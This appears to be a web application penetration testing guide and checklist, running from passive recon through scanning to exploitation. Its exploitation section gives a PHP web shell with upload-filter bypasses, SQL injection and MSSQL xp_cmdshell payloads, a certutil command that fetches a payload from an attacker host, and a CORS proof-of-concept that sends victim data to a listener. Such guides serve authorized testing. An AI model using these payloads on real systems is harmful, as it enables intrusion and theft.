Web Application Penetration Testing Enum - Cheatsheet & Checklist

Web Application Penetration Testing: Step-by-Step Guide

Web Application Penetration Testing: Step-by-Step Guide

Updated on July 6, 2026

Welcome to the ultimate guide on Web Application Penetration Testing. This penetration testing methodology will walk you through every critical step of modern security testing.

Now, if there's one thing I've learned after running web assessments for years, it's this - engagements are won or lost in enumeration, but they get finished in exploitation. Everybody wants to jump straight to the shell. The people who consistently deliver, though, map the target obsessively first, then punch through the weak point they found. You can't attack what you haven't discovered, and you can't demonstrate impact without following through.

So this is the full playbook I actually work on real web engagements. We start completely passive - not a single packet to the target - and escalate through active scanning, content discovery, fingerprinting, and vulnerability identification, then finish with the exploitation techniques that turn a finding into proof. This is deliberately the order you follow in the field. If you want the broader mindset behind why this matters, I wrote it up in how to become a hacker from scratch, and the core lesson holds: enumerate more, always.

By the end you'll have a repeatable flow covering subdomain discovery, origin IP hunting behind a WAF, TLS and email record checks, live host validation, directory brute forcing, CMS enumeration, automated vulnerability identification, and the payloads to validate file upload, SQL injection, and CORS findings. Incorporating principles from the OWASP methodology ensures comprehensive coverage of these attack vectors.

Note: Before pentesting any system, have proper authorization from concerned authorities and follow ethical guidelines. Everything here assumes explicit written permission to test the target in scope. The exploitation sections are for demonstrating impact during authorized assessments and building your report, not for use anywhere you don't own or aren't contracted to test.


Prerequisites

Here's the baseline setup before we dig in.

  • Access Level: None required for external recon. Some authenticated enumeration and exploitation steps need valid application credentials (a low-privilege user account is enough).
  • Target Environment: A web application in scope. Examples use 10.10.10.10 for hosts and domain.local / domain.com for domains.
  • Platform: Kali or any Linux box with Go, Python3, and Docker installed.

Most of the modern recon stack is Go-based, so sort your Go environment first.


Base tooling

# Base tooling
apt update && apt install -y golang-go python3 python3-pip git nmap masscan whatweb nikto dirb dirsearch sqlmap sslscan wafw00f hydra zaproxy -y
# WPScan (Ruby)
gem install wpscan
# testssl.sh - deep TLS auditing
git clone https://github.com/drwetter/testssl.sh.git
# ProjectDiscovery core - the workhorses of modern recon
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# URL harvesting and crawling
go install -v github.com/lc/gau/v2/cmd/gau@latest
go install -v github.com/tomnomnom/waybackurls@latest
go install -v github.com/hakluke/hakrawler@latest
# Content discovery
cargo install feroxbuster        # or: apt install feroxbuster
go install -v github.com/ffuf/ffuf/v2@latest
# OWASP Amass for deep asset mapping
go install -v github.com/owasp-amass/amass/v4/...@master

Attack Surface Overview

Before commands, understand what you're mapping. A modern web target isn't one server - it's a sprawl. You're hunting for:

  • Root domain plus every subdomain (prod, dev, staging, admin panels, forgotten hosts)
  • The real origin IP hiding behind Cloudflare, Akamai, or a load balancer
  • Every open port, because web servers show up far beyond 80 and 443
  • The technology stack - framework, language, CMS, WAF, reverse proxy, TLS config
  • Hidden directories, backup files, API endpoints, and parameters
  • Authentication surfaces - login pages, password reset, SSO flows
  • Injection points and file upload functionality
  • Email security posture (SPF/DMARC) if phishing is in scope

Now let's go find all of it, starting where we make the least noise.


Phase 1: Passive Reconnaissance

Passive recon gathers intel without sending traffic to the target. We query third-party sources - certificate transparency logs, search engines, passive DNS, archives. Zero footprint on the target, and it often surfaces assets active scanning would never touch. During proper web app pentesting, this stealth approach is crucial.

Passive Subdomain Enumeration

Subfinder is the first thing I run. It queries 30+ passive sources at once and it's stupid fast.

# Basic passive subdomain enumeration
subfinder -d domain.com -o subs-passive.txt
# Use all sources (slower but thorough) with silent output
subfinder -d domain.com -all -silent -o subs-all.txt
# Feed a list of root domains
subfinder -dL roots.txt -all -o subs-multi.txt

Amass goes deeper and correlates data from dozens of sources into a full picture.

# Passive-only asset discovery, no direct contact with target
amass enum -passive -d domain.com -o amass-subs.txt
# Chain results - feed discovered subs back in for a second pass
amass enum -passive -norecursive -noalts -df subs-1.txt -o all-subs.txt

Don't skip certificate transparency logs directly - they're a goldmine and need nothing but a curl.

# Pull subdomains straight from crt.sh CT logs
curl -s "https://crt.sh/?q=%25.domain.com&output=json" | jq -r '.[].name_value' | sort -u
# assetfinder - simple, fast, effective
assetfinder --subs-only domain.com | sort -u
# Older but still useful: subbrute for CT and DNS scraping
git clone https://github.com/TheRook/subbrute.git
python subbrute.py domain.com > subdomains.txt

A tip most people skip: always enumerate subdomains of your subdomains. dev.domain.com might have internal.dev.domain.com sitting wide open. Feed first-pass results back into the tools.

Harvesting Known URLs from Archives

Before you crawl anything, pull every URL the internet already remembers. GAU scrapes the Wayback Machine, Common Crawl, and other archives.

# Get all archived URLs for a domain
printf domain.com | gau
# Multi-threaded across a list, saved to file
cat subs-all.txt | gau --threads 5 --o all-urls.txt
# Filter noise - drop static assets
gau --blacklist png,jpg,gif,css,woff domain.com
# waybackurls does the same job, great as a cross-check
cat subs-all.txt | waybackurls | sort -u > wayback-urls.txt

This routinely surfaces old API endpoints, deprecated parameters, and admin paths removed from the live site but still routing. Some of my best findings started as a dead URL in an archive.

Finding the Origin IP Behind a WAF/CDN

When a target sits behind Cloudflare, hitting the front door gets your scans filtered. So we hunt the real origin IP. Find it, and you can often talk to the origin directly with a match-and-replace rule in Burp and sidestep the WAF entirely.
These search engines index the whole internet and frequently expose origin servers still answering on their real IP:

# Shodan - search by the SSL cert common name
Ssl.cert.subject.CN:"domain.com"
# FOFA (en.fofa.info) - plain domain search
domain="domain.com"
# Censys (search.censys.io) - search the domain/subdomain
domain.com
# SecurityTrails - historical DNS records reveal the pre-CDN IP
securitytrails.com  ->  domain.com  ->  Historical Data

The favicon hash trick is slick too. Companies reuse the same favicon on origin and CDN, so matching the hash finds every host serving it.

# On FOFA: search a domain, pick the company favicon, it shows the hash
# Then query every host using that same favicon
http.favicon.hash:-1243154474

Historical DNS is the most reliable method - many orgs added the CDN years after the server went live, so the original A record is still logged. Once you have a candidate origin, verify it responds with the target's content before trusting it.

Google Dorking for Endpoints and Domains

Google's index is an enumeration tool if you drive it right. Exclude what you know and force it to surface new stuff.

# Find new subdomains, exclude the ones you've mapped
site:*.domain.com -site:www.domain.com -site:help.domain.com
# Hunt endpoints while ignoring a known duplicate
site:domain.com -site:duplicate.domain.com
# Classic exposure dorks
site:domain.com ext:sql | ext:log | ext:bak | ext:env
site:domain.com inurl:admin | inurl:login | inurl:dashboard
site:domain.com intitle:"index of"

Hidden Paths via urlscan.io

urlscan.io records live scans submitted by users worldwide. Search a target and you'll often find internal paths and API calls captured in someone else's scan.

# On urlscan.io/search, filter to the target and away from known hosts
domain.com -www.domain.com -auth.domain.com

Email Security Records (SPF and DMARC)

If email spoofing or phishing is in scope, check the sender authentication posture. A weak or missing policy means you can spoof the domain in a social engineering test.
SPF tells you which servers are authorized to send mail. The enforcement mode at the end matters most:

  • -all (Hard Fail): unauthorized senders rejected. Strict.
  • ~all (Soft Fail): unauthorized mail flagged but usually delivered.
  • +all (Allow All): anyone can send. Effectively no protection.
  • ?all (Neutral): recipient decides. Weak.
# Check SPF for a single domain
dig txt domain.com | grep "v=spf1"
# Sweep a list of domains for SPF include records
while read -r domain; do echo "$domain:"; dig txt "$domain" | grep "include:_spf"; done < domains.txt

DMARC builds on SPF and DKIM. A policy of p=none means the owner is only monitoring, not enforcing - so spoofed mail still lands.

# Check the DMARC record
dig txt _dmarc.domain.com
# Example weak policy - monitoring only, no enforcement
# v=DMARC1; p=none; rua=mailto:dmarc-reports@domain.com;
# Sweep a list
while read -r domain; do echo "$domain:"; dig txt "_dmarc.$domain" | grep "DMARC"; done < domains.txt

Phase 2: Active Enumeration and DNS Resolution

Now we touch DNS infrastructure. We brute force subdomains passive sources missed, resolve everything, and figure out which hosts are alive. This phase marks the transition to active enumeration.

Active Subdomain Brute Forcing

Passive sources are incomplete. Brute forcing DNS with a solid wordlist catches hosts that never appear in any log. Puredns wrapping massdns is the fast, accurate way.

# Install the resolver backend
git clone https://github.com/blechschmidt/massdns.git && cd massdns && make
go install github.com/d3mondev/puredns/v2@latest
# Brute force with a wordlist and validated public resolvers
puredns bruteforce subdomains-wordlist.txt domain.com -r resolvers.txt -w brute-subs.txt
# shuffledns does the same, pairs nicely with the PD stack
shuffledns -d domain.com -w wordlist.txt -r resolvers.txt -o shuffle-subs.txt

Then generate permutations of known subdomains - if admin.domain.com exists, altdns and dnsgen test admin-dev.domain.com, admin2.domain.com, and so on.

# altdns - permutation-based discovery
git clone https://github.com/infosec-au/altdns.git
altdns -i known-subs.txt -o perms.txt -w words.txt -r -s resolved-perms.txt

Resolving and Validating Live Hosts

You now have a huge pile of candidate subdomains. Most are dead. httpx probes every one and tells you which respond, plus status codes, titles, and detected tech in one pass.

# Consolidate every subdomain you've found, then probe them
cat subs-all.txt brute-subs.txt shuffle-subs.txt | sort -u > all-subs-final.txt
# Probe for live hosts with rich metadata
httpx -l all-subs-final.txt -sc -title -tech-detect -o live-hosts.txt
# Just the live URLs, piped forward
cat all-subs-final.txt | httpx -silent > live.txt

If you prefer resolving to raw IPs first, dnsx is the fast resolver.

# Resolve subdomains to A records
dnsx -l all-subs-final.txt -a -resp -o resolved.txt

Visual Recon with Screenshots

Hundreds of live hosts, you cannot open them one by one. Screenshot them all and eyeball the grid - login panels, default installs, and dev environments jump right out.

# gowitness - screenshot every live host
gowitness scan file -f live.txt --screenshot-path ./shots/
# aquatone - classic, generates a clean HTML report
cat live.txt | aquatone -out ./aquatone-report/

Phase 3: Port, Service and TLS Discovery

Web servers do not live only on 80 and 443. I've found juicy apps on 8080, 8443, 8000, 9000, 7001, even random high ports. So scan everything.

# Full TCP port scan, skip host discovery (target may block ping)
nmap -Pn -p- 10.10.10.10
# Add service and version detection on discovered ports
nmap -Pn -sV -sC -p 80,443,8080,8443 10.10.10.10
# masscan for speed across a range, then confirm with nmap
masscan -p1-65535 10.10.10.0/24 --rate=10000 -oG masscan.gnmap
# naabu - fast port scanner that chains straight into httpx
naabu -host 10.10.10.10 -p - -silent | httpx -silent

Validating web pages across an IP range is handy when a whole subnet is in scope. A few variations, since networks behave differently:

# Scan a subnet for open 443, extract live IPs, probe each
nmap -Pn -p443 10.10.103.0/24 --open -oG https-scan
grep ' 443/open/' https-scan | cut -d' ' -f2 | sort -uV > 443.txt
for i in $(cat 443.txt); do (wget https://$i --no-check-certificate --tries=1 -O $i) & done
# Quick curl sweep across a /24 with a short timeout
for i in $(seq 1 255); do (curl -s -I -vv https://10.10.10.$i --connect-timeout 2); done | tee 443
# wget sweep variant
for i in $(seq 1 255); do (wget https://10.10.10.$i -t 1 --connect-timeout=5); done | tee wget-443

SSL/TLS Enumeration

Do not skip the TLS layer. It leaks the real hostname on the cert (often revealing internal names), flags weak ciphers and protocol downgrade issues, and confirms expired or self-signed certs worth reporting.

# sslscan - fast cipher and protocol enumeration
sslscan 10.10.10.10:443
# testssl.sh - the thorough audit (protocols, ciphers, known CVEs like Heartbleed/ROBOT)
./testssl.sh https://domain.com
# nmap's SSL scripts - cipher strength grading in one line
nmap -Pn -p443 --script ssl-enum-ciphers,ssl-cert 10.10.10.10
# sslyze - clean structured output, great for reports
sslyze --regular domain.com

Pull the cert Subject Alternative Names too - they routinely list additional hostnames and internal domains you never found through DNS.

# Dump SANs straight from the cert
echo | openssl s_client -connect domain.com:443 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alternative Name"

Phase 4: Technology Fingerprinting

Before you attack anything, know exactly what you're hitting. The stack dictates your whole approach - a WordPress site, a Spring Boot API, and a raw PHP app get tested completely differently.

# whatweb - the go-to fingerprinter
whatweb 10.10.10.10
# Scan a range, drop the unassigned noise
whatweb 10.10.10.0/16 --no-errors | grep -v Unassigned
# httpx already flags tech during host probing
httpx -l live.txt -tech-detect -title -web-server -o fingerprint.txt

Always inspect the HTTP response headers manually too. Server, X-Powered-By, and X-AspNet-Version leak the backend, and proxy headers reveal reverse proxies or WAFs in front of the app.

# Grab headers with curl
curl -sI https://10.10.10.10
# Full verbose exchange including TLS
curl -k -v https://10.10.10.10 2>&1 | head -40

Detect the WAF so you know what's inspecting your traffic and can plan evasion.

# wafw00f identifies the WAF product
wafw00f https://domain.com

Once fingerprinting tells you what's running, pivot into service-specific enumeration - an exposed Kubernetes API, a caching proxy, an application-server admin console, each has its own dedicated approach worth following from here rather than treating them all the same.


Phase 5: Content Discovery and Directory Enumeration

Now we map what's actually on each server. Start with the freebies, then brute force the rest.

The Free Wins First

# robots.txt often lists paths the owner does not want indexed - read it first
curl -s https://10.10.10.10/robots.txt
# sitemap.xml enumerates real application URLs
curl -s https://10.10.10.10/sitemap.xml
# Common exposure files worth a manual check
# /.git/  /.env  /backup/  /.svn/  /crossdomain.xml  /security.txt

Directory and File Brute Forcing

Feroxbuster is my default - recursive, fast, and it parses links out of responses to discover even more as it goes.

# Recursive content discovery with a solid wordlist
feroxbuster -u https://10.10.10.10 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# Add extensions and filter noise (404s, 403s)
feroxbuster -u https://10.10.10.10 -x php,html,txt,bak -C 404,403

ffuf gives finer control when you need it, and handles extension fuzzing cleanly.

# Directory fuzzing with ffuf
ffuf -u https://10.10.10.10/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
# File fuzzing with multiple extensions
ffuf -u https://10.10.10.10/FUZZ -w wordlist.txt -e .php,.bak,.old,.zip -mc 200,301,302

The classics still earn their keep, especially for a quick baseline. Always throw a large dictionary at the target when time allows.

# gobuster
gobuster dir -u https://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt
# dirsearch with all extensions
dirsearch -u https://10.10.10.10 -e '*'
# dirb and nikto for a fast first look
dirb http://10.10.10.10
nikto -h 10.10.10.10
nikto -h 10.10.10.10 -ssl

Virtual Host Discovery

One IP can serve many sites via the Host header. Fuzz it to find vhosts not exposed through DNS.

# Fuzz the Host header, filter by response size to spot the hits
ffuf -u https://10.10.10.10 -H "Host: FUZZ.domain.com" -w subdomains.txt -fs 4242
# gobuster vhost mode
gobuster vhost -u https://10.10.10.10 -w subdomains.txt --append-domain

IIS Short Name (Tilde) Enumeration

If fingerprinting flagged Microsoft IIS, the 8.3 short filename vulnerability can leak the first six characters of hidden files and folders. Shortscan automates it.

# Discover short names on an IIS target
git clone https://github.com/bitquark/shortscan
shortscan https://domain.com/
shortscan https://domain.com/admin/
shortscan https://domain.com/test/

Crawling for Endpoints and Parameters

Spider the app to build a full map of URLs, forms, and parameters. Katana is fast and handles JavaScript-rendered content.

# Crawl a target, including JS parsing
katana -u https://domain.com -jc -o katana-urls.txt
# hakrawler - quick endpoint extraction from a list
cat live.txt | hakrawler

HTTP Method Enumeration

Check which verbs the server allows. PUT might let you upload a file directly, TRACE can enable cross-site tracing, and misconfigured OPTIONS disclosures are common. I keep a full reference in my web pentesting with curl cheatsheet, but here's the quick version.

# List allowed methods
curl -X OPTIONS https://10.10.10.10 -i
# Test PUT - if it accepts an upload, that's a finding
curl -X PUT https://10.10.10.10/test.txt -d "upload test" -k
# PUT a file directly with --upload-file (dangerous when enabled)
curl -X PUT --upload-file shell.txt https://10.10.10.10/shell.txt -k
# Test TRACE (cross-site tracing indicator)
curl -X TRACE https://10.10.10.10 -k -v

Here's a tidy loop to fingerprint verb handling across a server.

#!/bin/bash
for method in GET POST PUT TRACE CONNECT OPTIONS PROPFIND; do
  printf "$method "
  printf "$method / HTTP/1.1\nHost: $1\n\n" | nc -q 1 $1 80 | grep "HTTP/1.1"
done

Phase 6: Authentication Surface Enumeration

Every login page you find is worth enumerating. Check default credentials first - you'd be amazed how often admin:admin still works on a forgotten dev panel.
When you need a targeted wordlist, build one from the target's own content. CeWL spiders the site and generates a custom list from the words it finds, which beats a generic dictionary against a themed app.

# Generate a wordlist by spidering the target to a given depth
cewl -d 2 -m 5 -w custom-words.txt https://domain.com
# Include email addresses found on the site
cewl -d 2 --email -w custom-words.txt https://domain.com
# CUPP builds profile-based password guesses from known user details
git clone https://github.com/Mebus/cupp.git && cd cupp
python3 cupp.py -i

For testing login logic, intercept the request in Burp and study the backend behavior, then send it to Intruder or Turbo Intruder to test credential handling against your authorized scope. Watch response codes and lengths - a different length on one attempt often means a valid username, which tells you the app leaks account existence.
Hydra is the CLI workhorse for form-based auth testing when you have permission to actively test the login.

# Brute a POST login form - adjust the fail string to match the app
hydra -L users.txt -P custom-words.txt 10.10.10.10 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

Phase 7: CMS-Specific Enumeration

If fingerprinting flagged a CMS, switch to the dedicated scanner. Generic tools miss CMS-specific issues like vulnerable plugins and version bugs.
WordPress with WPScan - enumerate users, plugins, and themes.

# Enumerate vulnerable plugins, themes, and users
wpscan --url https://domain.com --enumerate vp,vt,u
# With an API token for vulnerability data, plus a login brute
wpscan --url https://domain.com --enumerate ap --api-token YOUR_TOKEN
wpscan --url https://domain.com --usernames admin --passwords custom-words.txt

Joomla with joomscan.

git clone https://github.com/rezasp/joomscan.git && cd joomscan
perl joomscan.pl -u https://domain.com --ec

Drupal with droopescan, which also handles other CMS platforms.

pip install droopescan
droopescan scan drupal -u https://domain.com

Adobe Experience Manager (AEM) with aem-hacker - AEM installs are notoriously leaky.

git clone https://github.com/0ang3el/aem-hacker.git
# Scan a single AEM app for known issues
python3 aem_hacker.py -u https://aem.domain.com --host YOUR_IP
# Discover AEM apps among a list of URLs
python3 aem_discoverer.py --file urls.txt --workers 150

Once you know the exact CMS version, cross-reference it against known vulnerabilities. Search for vulnerable plugins specifically - they're the usual way in. If you can authenticate but lack write access to pages, a vulnerable plugin upload is often the pivot to code execution, which we cover in the exploitation phase.


Phase 8: Vulnerability Identification

With the attack surface mapped, run structured vulnerability identification. This flags candidates - you still validate each one manually before claiming it.
Nuclei is the standard. Thousands of community templates for CVEs, misconfigurations, exposed panels, and default logins.

# Always update templates first
nuclei -update-templates
# Scan your live hosts with CVE templates
nuclei -l live.txt -t cves/
# Filter by severity to triage the important stuff first
nuclei -l live.txt -t cves/ -severity critical,high
# Broad but targeted set of categories
nuclei -l live.txt -t cves,vulnerabilities,exposed-panels,takeovers,exposures,misconfiguration,default-logins
# Exclude noisy categories on a large scope
nuclei -l live.txt -t nuclei-templates/ -exclude iot/ -exclude technologies
# Authenticated scan - pass a session token via header
nuclei -u https://domain.com -as -H "Authorization: Bearer TOKEN" -t cves,vulnerabilities,exposed-panels

Nikto catches common web server misconfigurations and dangerous files.

nikto -h 10.10.10.10
nikto -h 10.10.10.10 -ssl
# Loop across a list of hosts
for i in $(cat live.txt); do (nikto -h $i -o "nikto-$i.txt" -Format txt) & done

sqlmap is your automated injection identifier. Point it at any parameter you flagged during crawling and let it confirm whether it's injectable and what backend is behind it.

# Test a single parameter, let sqlmap enumerate the DB if injectable
sqlmap -u "https://domain.com/item.php?id=1" --batch --dbs
# Feed a captured request from Burp (best for authenticated/complex requests)
sqlmap -r request.txt --batch --level 3 --risk 2
# Crawl the site and test discovered forms automatically
sqlmap -u "https://domain.com/" --crawl 2 --forms --batch

OWASP ZAP and w3af cover the automated active-scan angle if you want a second opinion alongside Nuclei. ZAP's spider plus active scan is solid, and it runs headless for automation.

# ZAP headless baseline scan (great in a pipeline)
zap-baseline.py -t https://domain.com -r zap-report.html
# w3af console for a full audit profile
w3af_console

Sn1per rolls recon and vulnerability scanning into one automated workflow when you want breadth quickly.

# Web-focused scan
sniper -t 10.10.10.10 -m webscan
# Vulnerability scan mode
sniper -t 10.10.10.10 -m vulnscan

Phase 9: Recon Automation Frameworks

Once you know the manual flow cold, automation frameworks chain it all together for large scopes. Learn the manual process first though - automation without understanding just produces noise you can't interpret.
ReconFTW orchestrates subdomain enumeration, resolution, port scanning, and vulnerability checks end to end.

git clone https://github.com/six2dez/reconftw && cd reconftw
./install.sh
./reconftw.sh -d domain.com -r        # full recon
# Or run it in a container
docker pull six2dez/reconftw:main
docker run -it --rm -v "${PWD}/Recon/":'/reconftw/Recon/' six2dez/reconftw:main -d domain.com -r

BBOT is a recursive scanner that pivots automatically - it feeds discovered assets back into new modules and goes deep.

pip install bbot
bbot -t domain.com -f subdomain-enum web-basic -o ./bbot-output/

SpiderFoot automates a huge range of OSINT collection through a clean web UI, great for the passive intel layer.

pip install spiderfoot
sf -l 127.0.0.1:5001        # then browse to the UI

Phase 10: Burp Suite Workflow

Burp is where a lot of the manual work happens once you're proxying traffic. Here's my checklist. Using tools like Burp Suite from PortSwigger is industry standard for security testing.

  • Map parameters: Target > Site map, filter by parameterized requests to see every input the app takes.
  • Reveal hidden fields: Proxy > Options > Response Modification > enable "Unhide hidden form fields." Hidden fields often carry role or price values worth testing.
  • Try injection on all headers: don't only test visible parameters. User-Agent, Referer, X-Forwarded-For, and custom headers are frequently logged or parsed unsafely and make great injection points for SQLi, SSTI, and XSS.
  • Check Host header handling: inject into the Host header and watch for password reset poisoning or cache issues.
  • Compare site maps: run the app as two different privilege levels and use Compare Site Maps to spot broken access control (ACL issues).
  • Send anti-CSRF tokens to Sequencer to assess token randomness.
  • Chain with ZAP: set Burp's upstream proxy to ZAP (or vice versa) so you can view and cross-check traffic in both tools at once.

Detecting CORS Misconfiguration

A permissive CORS policy can expose authenticated data to any origin. Test by spoofing the Origin header and checking whether the app reflects it back.

Burp > Proxy > Options > Match and Replace > Add
  Type:    Request header
  Match:   Origin: https://domain.com
  Replace: Origin: https://untrusted.domain.com

Then inspect the response. If Access-Control-Allow-Origin echoes back untrusted.domain.com (especially alongside Access-Control-Allow-Credentials: true), the endpoint is misconfigured and worth flagging. A 204 No Content with no reflection means it's not vulnerable.

Handling Anti-CSRF Tokens in Repeater

When the app rotates an anti-CSRF token on every request, Repeater breaks unless Burp refreshes the token automatically. Set up a macro and a session handling rule:

  1. Project options > Sessions > Macros > Add. Select the URL that issues the token from your HTTP history and click "Configure item."
  2. Under "Custom parameter locations in response," click Add, highlight the anti-CSRF token in the response, and name the parameter exactly as it appears in the request. Test the macro and save it.
  3. Under Session Handling Rules > Add, name the rule, then Rule Actions > Add > "Run a macro" and select the macro. Choose "Update only the following parameters" and enter the token parameter name.

Now the token refreshes automatically every time you fire a request through Repeater. Clean and hands-off.

Rate Limit Note

If the app rate-limits by IP, adding a spoofed forwarding header on each request sometimes resets the counter - useful for confirming whether the limit is IP-bound during authorized testing.

X-Forwarded-For: 127.0.0.1

Phase 11: Exploitation Techniques

Enumeration tells you where the weaknesses are. Now we validate them - proving impact is what makes a finding real in a report. Everything below is for authorized engagements only.

File Upload and Web Shells

If you found upload functionality (a profile picture, a document upload, a CMS media library, a template editor), test whether it properly restricts what lands on disk and whether that location is executable. When the filter is weak, you get code execution.
The classic detection payload is a one-liner that runs a command passed in the query string. Upload it, then request it - if commands run, the upload is exploitable.

// shell.php - minimal PoC to confirm code execution
<?php system($_GET['cmd']); ?>
# Confirm execution after upload
curl "https://domain.com/uploads/shell.php?cmd=id"

When there's an extension or content-type filter, work through the standard bypasses:

  • Alternate PHP extensions: .php5, .php4, .phtml, .pht, .phar often execute even when .php is blocked.
  • Double extensions: shell.php.png or shell.php.jpg can slip past a filter that only checks the last extension.
  • Content-Type spoofing: set Content-Type: image/png in the multipart request while the body stays PHP.
  • Magic bytes: prepend valid image header bytes (for example a GIF89a; string) so a content sniffer sees an image.
  • Null byte / trailing tricks on older stacks: shell.php%00.png.

For CMS platforms, the theme or template editor is the usual path once you're authenticated - many let an admin edit template files directly, so you drop your payload into an editable .php template and browse to it. On installs that only accept .php5, rename accordingly.
Once you confirm execution with the one-liner, you'll usually want a full interactive session. I keep a complete set of payloads in the PHP web shell and reverse shell techniques reference - grab the right reverse shell from there, start a listener, and upgrade to a proper shell.

SQL Injection to Remote Code Execution

Once sqlmap or a manual test confirms injection, you validate impact. Manual union-based extraction is the quick way to prove data access - break the query, find the column count, then pull version and user into a reflected column.

# Break the statement and confirm the injection
https://domain.com/item.php?id=1'
# Find the column count (increment until it errors)
https://domain.com/item.php?id=1' order by 6-- -
# Reflect version and current user into visible columns
https://domain.com/item.php?id=1' union select 1,2,@@version,user(),5,6-- -
# Enumerate tables from the schema
https://domain.com/item.php?id=1' union select 1,2,table_name,4,5,6 FROM information_schema.tables-- -

My full SQL injection cheat sheet covers error-based, blind, and time-based variants in depth.
Now, if the backend is a Windows box running MSSQL, injection can escalate to command execution through xp_cmdshell. This is how you demonstrate full server compromise from a SQLi finding.

-- Confirm command execution (proof of RCE for the report)
'; EXEC master..xp_cmdshell 'whoami';--
'; EXEC master..xp_cmdshell 'dir c:\inetpub';--
-- If xp_cmdshell is disabled, re-enable it (requires sufficient privileges)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Stage a payload onto the host with certutil (LOLBAS technique)
'; EXEC master..xp_cmdshell 'certutil -urlcache -f http://YOUR_IP/payload.exe c:\windows\temp\p.exe';--

Keep the demonstration proportionate - proving you can run whoami and read a directory is usually enough to establish critical impact. Capture the output, screenshot it, and document the exact request for the client.

Exploiting CORS Misconfiguration

When Phase 10 flagged a reflected Origin with credentials allowed, prove it by reading authenticated data cross-origin. Host this PoC on a server you control, browse to it as the logged-in victim, and it pulls their response back to your listener - exactly the impact you demonstrate in the report.

<!-- cors-poc.html - demonstrates cross-origin read of authenticated data -->
<html>
  <body>
    <script>
      var req = new XMLHttpRequest();
      req.onload = function () {
        // Exfiltrate the response to your collaborator/listener
        location = 'https://your-listener.com/log?resp=' + encodeURIComponent(this.responseText);
      };
      req.open('GET', 'https://domain.com/api/account', true);
      req.withCredentials = true;   // send the victim's cookies
      req.send();
    </script>
  </body>
</html>

If your listener receives the victim's account data, the finding is confirmed. Note the fix in your report: reflect only an allowlist of trusted origins and never combine a wildcard or reflected origin with Access-Control-Allow-Credentials: true.


Full Validation Checklist

Now, here's the whole methodology boiled down into a tick-box checklist. Copy it into your engagement notes and check items off as you go - it's the fastest way to make sure you didn't skip a phase or forget a class of test under time pressure. Nothing here replaces the detail above; it's the field reference you keep open on your second monitor.

Passive Recon

  • [ ] Passive subdomain enumeration (subfinder, amass -passive, assetfinder)
  • [ ] Certificate transparency logs pulled (crt.sh)
  • [ ] Enumerated subdomains of subdomains
  • [ ] Archived URLs harvested (gau, waybackurls)
  • [ ] Origin IP hunted behind WAF/CDN (Shodan, FOFA, Censys, SecurityTrails)
  • [ ] Favicon hash pivot attempted
  • [ ] Google dorks for endpoints, exposed files, and panels
  • [ ] Hidden paths checked via urlscan.io
  • [ ] SPF record reviewed (-all / ~all / +all / ?all)
  • [ ] DMARC record reviewed (p=none / quarantine / reject)

Active Enumeration & DNS

  • [ ] Subdomains brute forced (puredns/massdns, shuffledns)
  • [ ] Permutations generated and resolved (altdns, dnsgen)
  • [ ] Live hosts validated (httpx, dnsx)
  • [ ] All live hosts screenshotted (gowitness, aquatone)

Ports, Services & TLS

  • [ ] Full TCP port scan run - web servers live on any port (nmap -p-)
  • [ ] Fast sweep across ranges (masscan, naabu)
  • [ ] Service and version detection (nmap -sV -sC)
  • [ ] Web pages validated across IP ranges
  • [ ] TLS enumerated - ciphers, protocols, weak configs (sslscan, testssl.sh, sslyze)
  • [ ] Cert SANs pulled for hidden hostnames

Technology Fingerprinting

  • [ ] Stack fingerprinted (whatweb, httpx -tech-detect)
  • [ ] HTTP response headers inspected (Server, X-Powered-By, proxy headers)
  • [ ] WAF detected (wafw00f)
  • [ ] CMS / framework / app server identified

Content Discovery

  • [ ] robots.txt and sitemap.xml read
  • [ ] Exposure files checked (.git, .env, backups, .svn, security.txt)
  • [ ] Directory and file brute force with large dictionaries (feroxbuster, ffuf, gobuster, dirsearch, dirb)
  • [ ] Virtual host discovery (ffuf/gobuster vhost)
  • [ ] IIS short name enumeration if IIS (shortscan)
  • [ ] Crawled for endpoints and parameters (katana, hakrawler)
  • [ ] Allowed HTTP methods enumerated - PUT/TRACE/OPTIONS tested (curl, verb-tampering loop)

Authentication Surface

  • [ ] Default credentials tested on every login and panel
  • [ ] Target-specific wordlists generated (cewl, cupp)
  • [ ] Login intercepted, backend studied, tested in Intruder/Turbo Intruder
  • [ ] Username enumeration checked (response length/timing differences)
  • [ ] Form brute forcing where authorized (hydra)

CMS-Specific

  • [ ] WordPress scanned (wpscan - users, vulnerable plugins/themes)
  • [ ] Joomla scanned (joomscan)
  • [ ] Drupal scanned (droopescan)
  • [ ] AEM scanned (aem-hacker, aem-discoverer)
  • [ ] CMS version cross-referenced against known CVEs
  • [ ] Vulnerable or uploadable plugins identified

Vulnerability Identification

  • [ ] Nuclei scan run (cves, misconfiguration, exposed-panels, default-logins; severity-filtered)
  • [ ] Authenticated Nuclei scan with session token
  • [ ] Nikto run against each host
  • [ ] sqlmap run on flagged parameters/requests
  • [ ] OWASP ZAP / w3af active scan for a second opinion
  • [ ] Sn1per run for broad automated coverage

Burp Suite Checks

  • [ ] All parameters mapped (site map filter)
  • [ ] Hidden form fields revealed
  • [ ] Injection tested on all headers (User-Agent, Referer, X-Forwarded-For, custom)
  • [ ] Host header injection tested (reset poisoning, cache)
  • [ ] CORS misconfiguration tested (spoof Origin, check reflection + credentials)
  • [ ] Site maps compared across privilege levels (broken access control)
  • [ ] Anti-CSRF tokens sent to Sequencer
  • [ ] Anti-CSRF macro configured for Repeater
  • [ ] Rate-limit bypass tested (X-Forwarded-For: 127.0.0.1)

Exploitation & Impact Validation

  • [ ] File upload - extension/content-type/magic-byte bypasses tested, execution confirmed
  • [ ] CMS template editor - shell dropped where authenticated
  • [ ] SQL injection - confirmed and data extracted (manual union / sqlmap)
